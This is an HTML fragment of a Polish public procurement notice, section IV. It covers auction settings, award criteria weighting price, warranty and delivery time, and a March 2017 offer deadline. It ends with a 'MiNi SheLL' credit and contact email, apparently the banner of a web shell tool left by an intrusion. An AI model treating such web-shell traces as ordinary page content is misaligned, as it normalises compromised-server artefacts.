                Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów:
                <br />
                  nie
                </div><br /><b>IV.1.8) Aukcja elektroniczna </b><br /><b>
                Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i>
                nie
              <br /><b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b><br /><b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b><br />
                nie
              <br />

              
                Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie  termin ich udostępnienia:
              
              <br />
              Informacje dotyczące przebiegu aukcji elektronicznej: 
              <br />
              Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): 
              <br />
              Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń:
              <br />
              Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: 
              <br />


              Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Aukcja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu:
                
                  nie
                <br />
                Warunki zamknięcia aukcji elektronicznej:
                <br /></div><br /><b>IV.2) KRYTERIA OCENY OFERT </b><br /><b>IV.2.1) Kryteria oceny ofert: </b><br /><b>IV.2.2) Kryteria</b><br /><div style="padding-left: 20px"><table><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena brutto</td><td>60</td></tr><tr><td>gwarancja</td><td>10</td></tr><tr><td>termin dostawy</td><td>30</td></tr></table></div><br /><b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony)
              <br />
                nie
              <br /><b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b><br /><b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b><br />
              Minimalne wymagania, które muszą spełniać wszystkie oferty:
              <br /><br />
              Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji
              
                nie
              <br />
              Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert:
              
                nie
              <br />
              Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów):
              <br /><br />
              Informacje dodatkowe
              <br /><br /><br /><b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b><br />
              Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu:
              <br /><br />
              Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody:
              <br /><br />
              Wstępny harmonogram postępowania:
              <br /><br />
              Podział dialogu na etapy w celu ograniczenia liczby rozwiązań:
              
                nie
              <br />
              Należy podać informacje na temat etapów dialogu:
              <br /><br /><br />
              Informacje dodatkowe:
              <br /><br /><b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b><br />
              Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty:
              <br /><br />
              Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia:
              <br />
                nie
              <br />
              Informacje dodatkowe:
              <br /><br /><b>IV.4) Licytacja elektroniczna  </b><br />
              Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna:
              <br /><div style="padding-left: 20px"></div>

              Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych:
              <br /><div style="padding-left: 20px"></div>

              Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień:
              <br /><div style="padding-left: 20px"></div>

              Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Licytacja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Wykonawcy, którzy nie złożyli nowych postąpień, zostaną  zakwalifikowani do następnego etapu:
                
                  nie
                </div>

              Termin otwarcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Termin i warunki zamknięcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div><br />
              Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy:
              <br /><div style="padding-left: 20px"></div><br />
              Wymagania dotyczące zabezpieczenia należytego wykonania umowy: 
              <br /><div style="padding-left: 20px"></div><br />
              Informacje dodatkowe:
              <br /><div style="padding-left: 20px"></div><b>IV.5) ZMIANA UMOWY</b><br /><b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b>
                nie
              <br /><b>IV.6) INFORMACJE ADMINISTRACYJNE </b><br /><br /><b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i><br /><br /><b>Środki służące ochronie informacji o charakterze poufnym</b><br /><br /><b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b><br />
              Data: 02/03/2017, godzina: 11:00,
              <br />
              Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem):
              <br />
                nie
              <br />
              Wskazać powody:
              <br /><br />
              Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu
              <br />&gt;
              POLSKI<br /><b>IV.6.3) Termin związania ofertą: </b>
                okres w dniach: 30 (od ostatecznego terminu składania ofert)
              <br /><b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b>
                tak
              <br /><b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b>
                tak
              <br /><b>IV.6.6) Informacje dodatkowe:</b><br /></div></div></div>

Creat By MiNi SheLL
Email: jattceo@gmail.com